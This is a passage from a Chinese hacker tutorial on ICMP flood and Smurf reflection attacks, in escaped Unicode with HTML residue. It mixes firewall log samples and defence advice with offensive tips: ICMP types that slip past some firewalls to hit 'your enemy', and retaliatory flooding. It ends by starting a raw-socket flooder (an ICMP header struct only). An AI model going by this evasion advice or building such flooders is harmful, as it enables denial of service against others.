\n\u7528\u91c7\u53d6\u8fd9\u79cd\u65b9\u5f0f\u7684\u7b2c\u4e00\u4e2a\u5de5\u5177\u7684\u540d\u79f0\u6765\u547d\u540d\u7684\u201cSmurf\u201d\u6d2a\u6c34\u653b\u51fb\uff0c\u628a\u9690\u853d\u6027\u53c8\u63d0\u9ad8\u4e86\u4e00\u4e2a\u6863\u6b21\uff0c\u8fd9\u79cd\u653b\u51fb\u6a21\u5f0f\u91cc\uff0c\u6700\u7ec8\u6df9\u6ca1\u76ee\u6807\u7684\u6d2a\u6c34\u4e0d\u662f\u7531\u653b\u51fb\u8005\u53d1\u51fa\u7684\uff0c\u4e5f\u4e0d\u662f\u4f2a\u9020IP\u53d1\u51fa\u7684\uff0c\u800c\u662f\u6b63\u5e38\u901a\u8baf\u7684\u670d\u52a1\u5668\u53d1\u51fa\u7684\uff01
\n\u5b9e\u73b0\u7684\u539f\u7406\u4e5f\u4e0d\u7b97\u590d\u6742\uff0cSmurf\u65b9\u5f0f\u628a\u6e90IP\u8bbe\u7f6e\u4e3a\u53d7\u5bb3\u8005IP\uff0c\u7136\u540e\u5411\u591a\u53f0\u670d\u52a1\u5668\u53d1\u9001ICMP\u62a5\u6587\uff08\u901a\u5e38\u662fECHO\u8bf7\u6c42\uff09\uff0c\u8fd9\u4e9b\u63a5\u6536\u62a5\u6587\u7684\u670d\u52a1\u5668\u88ab\u62a5\u6587\u6b3a\u9a97\uff0c\u5411\u53d7\u5bb3\u8005\u8fd4\u56deECHO\u5e94\u7b54\uff08Type=0\uff09\uff0c\u5bfc\u81f4\u5783\u573e\u963b\u585e\u53d7\u5bb3\u8005\u7684\u95e8\u53e3\u2026\u2026
\n\u4ece\u793a\u610f\u56fe\u53ef\u4ee5\u770b\u51fa\uff0c\u5b83\u6bd4\u4e0a\u9762\u4e24\u79cd\u65b9\u6cd5\u591a\u4e86\u4e00\u7ea7\u8def\u5f84\u2014\u2014\u53d7\u9a97\u7684\u4e3b\u673a\uff08\u79f0\u4e3a\u201c\u53cd\u5c04\u6e90\u201d\uff09\uff0c\u6240\u4ee5\uff0c\u4e00\u4e2a\u53cd\u5c04\u6e90\u662f\u5426\u6709\u6548\u6216\u8005\u6548\u7387\u4f4e\u4e0b\uff0c\u90fd\u4f1a\u5bf9Flood\u6548\u679c\u9020\u6210\u5f71\u54cd\uff01<\/p>\n

\u7b80\u5355\u793a\u610f\u56fe\uff1a
\n\u4f2a\u9020\u53d7\u5bb3\u8005\u7684ICMP \u5e94\u7b54
\n\u653b\u51fb\u8005[IP=211.97.54.3]————————–>\u6b63\u5e38\u7684\u4e3b\u673a—————>\u53d7\u5bb3\u8005[\u622a\u83b7\u653b\u51fb\u8005IP=\u2026\u2026\u7f51\u6613\uff1f\uff01]==>\u54ed\u554a\u2026\u2026<\/p>\n

\u4ee5\u4e0a\u662f\u51e0\u79cd\u5e38\u89c1\u7684Flood\u65b9\u5f0f\uff0c\u5728\u6d4b\u8bd5\u4e2d\uff0c\u6211\u53d1\u73b0\u4e00\u4e2a\u6709\u8da3\u7684\u73b0\u8c61\uff1a\u4e00\u4e9b\u9632\u706b\u5899\uff08\u5982\u5929\u7f51\uff09\u53ea\u80fd\u62e6\u622aECHO\u8bf7\u6c42\uff08Ping\uff09\u7684ICMP\u62a5\u6587\uff0c\u5bf9\u4e8e\u5176\u4ed6ICMP\u62a5\u6587\u4e00\u6982\u7741\u53ea\u773c\u95ed\u53ea\u773c\uff0c\u4e0d\u77e5\u9053\u5176\u4ed6\u9632\u706b\u5899\u6709\u6ca1\u6709\u8fd9\u4e2a\u60c5\u51b5\u3002\u6240\u4ee5\u60f3\u795e\u4e0d\u77e5\u9b3c\u4e0d\u89c9\u5bf9\u4ed8\u4f60\u7684\u654c\u4eba\u65f6\uff0c\u8bf7\u5c3d\u91cf\u907f\u5f00\u76f4\u63a5ECHO Flood\uff0c\u6362\u7528Type=0\u7684ECHO\u5e94\u7b54\u6216Type=14\u7684\u65f6\u95f4\u6233\u5e94\u7b54\u6700\u597d\uff0c\u5176\u4ed6\u7c7b\u578b\u7684ICMP\u62a5\u6587\u6ca1\u6709\u8be6\u7ec6\u6d4b\u8bd5\u8fc7\uff0c\u5927\u5bb6\u53ef\u4ee5\u8bd5\u8bd5\u770bType=3\u3001 4\u300111\u7684\u7279\u6b8a\u62a5\u6587\u4f1a\u4e0d\u4f1a\u6709\u66f4\u5927\u6548\u679c\u3002<\/p>\n

\u516d\u3001ICMP Flood\u80fd\u9632\u5417\uff1f
\n\u5148\u53cd\u95ee\u4f60\u4e00\u4e2a\u95ee\u9898\uff1a\u6d2a\u6c34\u8fc5\u731b\u7684\u51b2\u6765\u65f6\uff0c\u4f60\u80fd\u5426\u62ff\u7740\u4e00\u4e2a\u8138\u76c6\u6765\u62b5\u6321\uff1f\uff08\u5750\u4e0a\u8138\u76c6\u505a\u73b0\u4ee3\u9c81\u5bbe\u900a\u5012\u662f\u4e2a\u4e0d\u9519\u7684\u4e3b\u610f\uff0c\u6ca1\u51c6\u80fd\u6f02\u5230MM\u8eab\u8fb9\u5462\uff09
\n\u8f6f\u4ef6\u7684\u7f51\u7edc\u9632\u706b\u5899\u80fd\u5bf9\u4ed8\u4e00\u4e9b\u6f0f\u6d1e\u3001\u6ea2\u51fa\u3001OOB\u3001IGMP\u653b\u51fb\uff0c\u4f46\u662f\u5bf9\u4e8e\u6d2a\u6c34\u7c7b\u578b\u7684\u653b\u51fb\uff0c\u5b83\u4eec\u6839\u672c\u65e0\u80fd\u4e3a\u529b\uff0c\u6211\u901a\u5e38\u5bf9\u6b64\u7684\u89e3\u91ca\u662f\u201c\u503e\u5012\u5783\u573e\u201d\uff1a \u201c\u6709\u87d1\u8782\u6216\u8001\u9f20\u5728\u4f60\u5bb6\u95e8\u524d\u9017\u7559\uff0c\u4f60\u53ef\u4ee5\u628a\u5b83\u4eec\u8d76\u8d70\uff0c\u4f46\u5982\u679c\u6709\u4eba\u628a\u4e00\u8f66\u5783\u573e\u503e\u5012\u5728\u4f60\u5bb6\u95e8\u53e3\u5462\uff1f\u201d\u524d\u51e0\u5929\u770b\u5230mikespook\u5927\u54e5\u5bf9\u6b64\u6709\u66f4\u4f53\u9762\u7684\u89e3\u91ca\uff0c\u8f6c\u8f7d\u8fc7\u6765\u2014\u2014\u201c\u9999\u8549\u76ae\u539f\u7406\uff1a\u5982\u679c\u6709\u4eba\u7ed9\u4f60\u4e00\u4e2a\u9999\u8549\u548c\u4e00\u4e2a\u9999\u8549\u76ae\u4f60\u80fd\u533a\u5206\uff0c\u5e76\u628a\u6ca1\u6709\u7528\u7684\u9999\u8549\u76ae\u6254\u6389\u3002\uff08\u4e00\u822c\u8f6f\u4ef6\u9632\u706b\u5899\u5c31\u662f\u8fd9\u4e48\u5224\u65ad\u5e76\u4e22\u5f03\u6570\u636e\u5305\u7684\u3002\uff09\u4f46\u662f\u5982\u679c\u6709\u4eba\u5728\u540c\u4e00\u65f6\u95f4\u5185\u5728\u4f60\u8eab\u4e0a\u5012\u4e00\u8f66\u9999\u8549\u76ae\uff0c\u4f60\u518d\u80fd\u533a\u5206\u6709\u7528\u6ca1\u7528\u4e5f\u6ca1\u5565\u4f5c\u7528\u4e86~~\u56e0\u4e3a\u4f60\u88ab\u9999\u8549\u76ae\u6df9\u6ca1\u4e86~~~~\uff08\u6240\u4ee5\u5c31\u7b97\u9632\u706b\u5899\u80fd\u533a\u5206\u662fDoS\u7684\u653b\u51fb\u6570\u636e\u5305\uff0c\u4e5f\u53ea\u80fd\u8bc6\u522b\uff0c\u6839\u672c\u6765\u4e0d\u53ca\u4e22\u5f03~~\u6b7b\u4e86\uff0c\u6b7b\u4e86\uff0c\u6b7b\u4e86~~\uff09\u201d
\n\u6240\u4ee5\uff0c\u6d2a\u6c34\u6ca1\u6cd5\u9632\uff01\u80fd\u505a\u7684\u53ea\u6709\u63d0\u9ad8\u81ea\u5df1\u7684\u5e26\u5bbd\u548c\u9884\u9632\u6d2a\u6c34\u7684\u53d1\u751f\uff08\u867d\u7136\u786c\u4ef6\u9632\u706b\u5899\u548c\u5206\u6d41\u6280\u672f\u80fd\u505a\u5230\uff0c\u4f46\u90a3\u4ef7\u683c\u662f\u592a\u6602\u8d35\u7684\uff0c\u800c\u4e14\u4e00\u822c\u4eba\u4e5f\u6ca1\u5fc5\u8981\u8fd9\u6837\u505a\uff09\u3002
\n\u5982\u679c\u4f60\u6b63\u5728\u88ab\u653b\u51fb\uff0c\u6700\u597d\u7684\u65b9\u6cd5\u662f\u6293\u53d6\u653b\u51fb\u8005IP\uff08\u9664\u975e\u5bf9\u65b9\u7528\u7b2c\u4e00\u79cd\uff0c\u5426\u5219\u6293\u4e86\u6ca1\u7528\u2014\u2014\u5047\u7684IP\uff09\u540e\uff0c\u7acb\u5373\u4e0b\u7ebf\u6362IP\uff01\uff08\u4ec0\u4e48\uff1f\u4f60\u662f\u56fa\u5b9aIP\uff1f\u6ca1\u8f99\u4e86\uff0c\u6253\u7535\u8bdd\u627e\u8b66\u5bdf\u53d4\u53d4\u5427\uff09<\/p>\n

\u4e03\u3001\u88abICMP Flood\u653b\u51fb\u7684\u7279\u5f81
\n\u5982\u4f55\u53d1\u73b0ICMP Flood\uff1f
\n\u5f53\u4f60\u51fa\u73b0\u4ee5\u4e0b\u75c7\u72b6\u65f6\uff0c\u5c31\u8981\u6ce8\u610f\u662f\u5426\u6b63\u88ab\u6d2a\u6c34\u653b\u51fb\uff1a
\n1.\u4f20\u8f93\u72b6\u6001\u91cc\uff0c\u4ee3\u8868\u8fdc\u7a0b\u6570\u636e\u63a5\u6536\u7684\u8ba1\u7b97\u673a\u56fe\u6807\u4e00\u76f4\u4eae\u7740\uff0c\u800c\u4f60\u6ca1\u6709\u6d4f\u89c8\u7f51\u9875\u6216\u4e0b\u8f7d
\n2.\u9632\u706b\u5899\u4e00\u76f4\u63d0\u793a\u6709\u4eba\u8bd5\u56feping\u4f60
\n3.\u7f51\u7edc\u901f\u5ea6\u5947\u6162\u65e0\u6bd4
\n4.\u4e25\u91cd\u65f6\u7cfb\u7edf\u51e0\u4e4e\u5931\u53bb\u54cd\u5e94\uff0c\u9f20\u6807\u5448\u8df3\u8dc3\u72b6\u884c\u8d70<\/p>\n

\u5982\u679c\u51fa\u73b0\u8fd9\u4e9b\u60c5\u51b5\uff0c\u5148\u4e0d\u8981\u614c\u5f20\uff0c\u51b7\u9759\u89c2\u5bdf\u9632\u706b\u5899\u62a5\u8b66\u7684\u9891\u7387\u53caIP\u6765\u786e\u8ba4\u662f\u5426\u666e\u901a\u7684Ping\u6216\u662f\u6d2a\u6c34\uff0c\u505a\u51fa\u76f8\u5e94\u63aa\u65bd\uff08\u5176\u5b9e\u5927\u591a\u6570\u60c5\u51b5\u4e5f\u53ea\u80fd\u6362IP\u4e86\uff09\u3002
\n1.\u666e\u901aping
\n\u8fd9\u79cd\u201c\u653b\u51fb\u201d\u4e00\u822c\u662f\u5bf9\u65b9\u626b\u63cf\u7f51\u7edc\u6216\u7528ping -t\u53d1\u8d77\u7684\uff0c\u6ca1\u591a\u5927\u6740\u4f24\u529b\uff08\u8fd9\u4e2a\u65f6\u5019\uff0c\u9632\u706b\u5899\u8d77\u7684\u4f5c\u7528\u5c31\u662f\u5ef6\u8fdf\u653b\u51fb\u8005\u7684\u6570\u636e\u62a5\u53d1\u9001\u95f4\u9694\u65f6\u95f4\uff0c\u8bf7\u522b\u5173\u95ed\u9632\u706b\u5899\uff01\u5426\u5219\u540e\u679c\u662f\u4e25\u91cd\u7684\uff01\uff09\uff0c\u901a\u5e38\u8868\u73b0\u5982\u4e0b\uff1a<\/p>\n

\n
\u5f15\u7528\u81ea <\/u><\/div>\n
==============================================================
\n[13:09:20] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:24] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:26] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:30] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002
\n=============================================================<\/p><\/div>\n<\/div>\n

\u8fd9\u4e48\u6162\u7684\u901f\u5ea6\uff0c\u5f88\u660e\u663e\u662f\u7531ping.exe\u6216IcmpSendEcho\u53d1\u51fa\u7684\uff0c\u5982\u679c\u5bf9\u65b9\u4e00\u76f4\u4e0d\u505c\u7684\u8ba9\u4f60\u7684\u9632\u706b\u5899\u5435\u95f9\uff0c\u4f60\u53ef\u4ee5\u7ed9\u4ed6\u4e2a\u771f\u6b63\u7684ICMP Flood\u95ee\u5019\u3002<\/p>\n

2.\u76f4\u63a5Flood
\n\u8fd9\u662f\u6bd4\u8f83\u591f\u52b2\u7684\u771f\u6b63\u610f\u4e49\u6d2a\u6c34\u4e86\uff0c\u9632\u706b\u5899\u7684\u62a5\u8b66\u5bc6\u5ea6\u4f1a\u63d0\u9ad8\u4e00\u4e2a\u6570\u91cf\u7ea7\uff1a<\/p>\n

\n
\u5f15\u7528\u81ea <\/u><\/div>\n
==============================================================
\n[13:09:20] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:20] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:20] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:20] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:20] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:20] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:20] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:20] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:20] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:20] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:20] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:20] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:20] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:20] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:20] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:21] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:21] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:21] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:21] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:21] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:21] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:21] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[13:09:21] 61.151.252.106 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002
\n=============================================================
\n\u8fd9\u65f6\u5019\u4f60\u7684\u9632\u706b\u5899\u5b9e\u9645\u4e0a\u5df2\u7ecf\u5e9f\u4e86\uff0c\u6362\u4e2aIP\u5427\u3002<\/p>\n

3.\u4f2a\u9020IP\u7684Flood
\n\u6bd4\u8f83\u5389\u5bb3\u7684ICMP Flood\uff0c\u4f7f\u7528\u7684\u662f\u4f2a\u9020\u7684IP\u800c\u4e14\u4e00\u6837\u5927\u5bc6\u5ea6\uff0c\u4e0b\u9762\u662fthe0crat\u752856K\u62e8\u53f7\u5bf9\u6211\u7684\u4e00\u6b21\u653b\u51fb\u6d4b\u8bd5\u7684\u90e8\u5206\u6570\u636e\uff08\u770b\u770b\u65f6\u95f4\uff0c\u771f\u6655\u4e86\uff0c\u8fd9\u53ef\u662f56K\u5c0f\u732b\u800c\u5df2\u554a\uff09
\n=============================================================
\n[18:52:12] 1.1.1.1 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[18:52:12] 1.1.1.1 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[18:52:12] 1.1.1.1 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[18:52:12] 1.1.1.1 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[18:52:12] 1.1.1.1 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[18:52:12] 1.1.1.1 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[18:52:12] 1.1.1.1 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[18:52:12] 1.1.1.1 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[18:52:12] 1.1.1.1 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[18:52:12] 1.1.1.1 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[18:52:12] 1.1.1.1 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[18:52:12] 1.1.1.1 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[18:52:12] 1.1.1.1 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[18:52:12] 1.1.1.1 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[18:52:12] 1.1.1.1 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002<\/p>\n

[18:52:13] 1.1.1.1 \u5c1d\u8bd5\u7528Ping \u6765\u63a2\u6d4b\u672c\u673a\uff0c
\n\u8be5\u64cd\u4f5c\u88ab\u62d2\u7edd\u3002
\n=============================================================<\/p><\/div>\n<\/div>\n

\u65e0\u8a00\u2026\u2026\u2026\u2026<\/p>\n

4\u3001\u53cd\u5c04ICMP Flood
\n\u4f30\u8ba1\u73b0\u5728Smurf\u653b\u51fb\u8fd8\u6ca1\u6709\u591a\u5c11\u4eba\u4f1a\u7528\uff08R-Series\u7684RSS.EXE\u5c31\u662f\u505a\u8fd9\u4e8b\u7684\uff0cRSA.EXE\u548cRSC.EXE\u5206\u522b\u7528\u4f5cSYN\u53cd\u5c04\u548c UDP\u53cd\u5c04\uff09\uff0c\u6240\u4ee5\u8fd9\u79cd\u65b9\u6cd5\u8fd8\u6ca1\u6709\u5927\u89c4\u6a21\u51fa\u73b0\uff0c\u4f46Smurf\u662f\u5b58\u5728\u7684\uff01\u800c\u4e14\u8fd9\u4e2a\u653b\u51fb\u65b9\u6cd5\u6bd4\u524d\u9762\u51e0\u79cd\u66f4\u6050\u6016\uff0c\u56e0\u4e3a\u653b\u51fb\u4f60\u7684\u662f\u5927\u7f51\u7ad9\uff08\u6216\u4e00\u4e9b\u53d7\u82e6\u53d7\u96be\u7684\u670d\u52a1\u5668\uff09\uff01
\n\u6211\u6b63\u5728\u88ab\u7f51\u6613\u3001\u4e07\u7f51\u548c\u65b0\u6d6a\u7f51\u7ad9\u653b\u51fb\u4e2d\uff08\u61d2\u5f97\u4fee\u6539\u5929\u7f51\u7b56\u7565\uff0c\u76f4\u63a5\u7528\u5176\u4ed6\u5de5\u5177\u6293\u7684\u3002\u5b9e\u9645\u653b\u51fb\u4e2d\uff0c\u53cd\u5c04\u7684IP\u4f1a\u591a\u51e0\u500d\uff01\uff09<\/p>\n

\n
\u5f15\u7528\u81ea <\/u><\/div>\n
=======================================================================
\n[15:26:32] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
\n[15:26:32] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
\n[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
\n[15:26:32] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
\n[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
\n[15:26:32] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
\n[15:26:32] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
\n[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
\n[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
\n[15:26:32] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
\n[15:26:33] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
\n[15:26:33] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
\n[15:26:33] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
\n[15:26:33] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
\n[15:26:33] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
\n[15:26:33] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
\n[15:26:33] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
\n[15:26:33] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
\n[15:26:33] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
\n=======================================================================<\/div>\n<\/div>\n

\u53ef\u4ee5\u770b\u51fa\uff0c\u653b\u51fb\u8005\u4f7f\u7528\u7684\u662f32bytes\u7684ECHO\u8bf7\u6c42\uff0c\u6240\u4ee5\u670d\u52a1\u5668\u8fd4\u56de52-20=32bytes\u7684REPLY\u62a5\u6587\uff0c\u5728\u8fd9\u4e2a\u60c5\u51b5\u4e0b\uff0c\u5929\u7f51\u662f\u4e0d\u4f1a\u62a5\u8b66\u7684\u3002<\/p>\n

\u8fd8\u662f\u90a3\u53e5\u8bdd\uff0c\u62a5\u8b66\u4e5f\u6ca1\u7528\u4e86\u3002<\/p>\n

\u516b\u3001\u81ea\u5df1\u7f16\u5199ICMP Flooder
\n\u4ee5\u4e0a\u8bf4\u7684\u90fd\u662f\u7406\u8bba\uff0c\u5982\u4f55\u624d\u80fd\u81ea\u5df1\u5199\u4e00\u4e2a\u5462\uff1f\u76f8\u4fe1\u5f88\u591a\u4eba\u5df2\u7ecf\u8dc3\u8dc3\u6b32\u8bd5\u4e86\uff0c\u4e0b\u9762\u5c31\u7528VC6.0\u6765\u5199\u4e00\u4e2a\u76f4\u63a5\u7684ICMP Flooder\uff08\u80fd\u5728Win98\/Me\u73af\u5883\u4f7f\u7528\uff09\u2026\u2026\u5148\u7b49\u7b49\u2014\u2014\u6700\u91cd\u8981\u7684\u662f\u539f\u7406\u3002<\/p>\n

1.\u7a0b\u5e8f\u539f\u7406
\n\u5f53\u7136\u4e0d\u80fd\u7528IcmpSendEcho\u6765\u505a\uff0c\u6211\u4eec\u5fc5\u987b\u81ea\u5df1\u4ece\u6700\u539f\u59cb\u7684IP\u62a5\u6587\u91cc\u505a\u4e00\u4e2a\u3002\u6784\u9020\u4e00\u4e2aSOCK_RAW\u62a5\u6587\u540e\uff0c\u586b\u5145ICMP\u6570\u636e\u548c\u8ba1\u7b97\u6821\u9a8c\u548c\uff08CheckSum\uff09\uff0c\u5faa\u73afsendto\u53d1\u51fa\u53bb\u5c31\u5b8c\u6210\u4e86\uff0cso easy\uff01<\/p>\n

2.ICMP\u62a5\u6587\u7684\u58f0\u660e
\n\u4e00\u4e2aICMP\u62a5\u6587\u5305\u62ecIP\u5934\u90e8\u3001ICMP\u5934\u90e8\u548cICMP\u62a5\u6587\uff0c\u7528IPPROTO_ICMP\u521b\u5efa\u8fd9\u4e2a\u7c7b\u578b\u7684IP\u5305\uff0c\u7528\u4ee5\u4e0b\u7ed3\u6784\u586b\u5145\uff1a<\/p>\n

\n
\u5f15\u7528\u81ea <\/u><\/div>\n
typedef struct _ihdr
\n{
\nBYTE i_type; \/\/8\u4f4d\u7c7b\u578b
\nBYTE i_code; \/\/8\u4f4d\u4ee3\u7801
\nUSHORT i_cksum; \/\/16\u4f4d\u6821\u9a8c\u548c
\nUSHORT i_id; \/\/\u8bc6\u522b\u53f7
\nUSHORT i_seq; \/\/\u62a5\u6587\u5e8f\u5217\u53f7
\nULONG timestamp; \/\/\u65f6\u95f4\u6233
\n}ICMP_HEADER;<\/div>\n<\/div>\n

\u8fd9\u6837\u6211\u4eec\u5c31\u58f0\u660e\u4e86\u4e00\u4e2aICMP\u62a5\u6587\u7ed3\u6784\uff0c\u5c31\u7b49\u540e\u9762\u7684\u586b\u5145\u4e86\u3002<\/p>\n

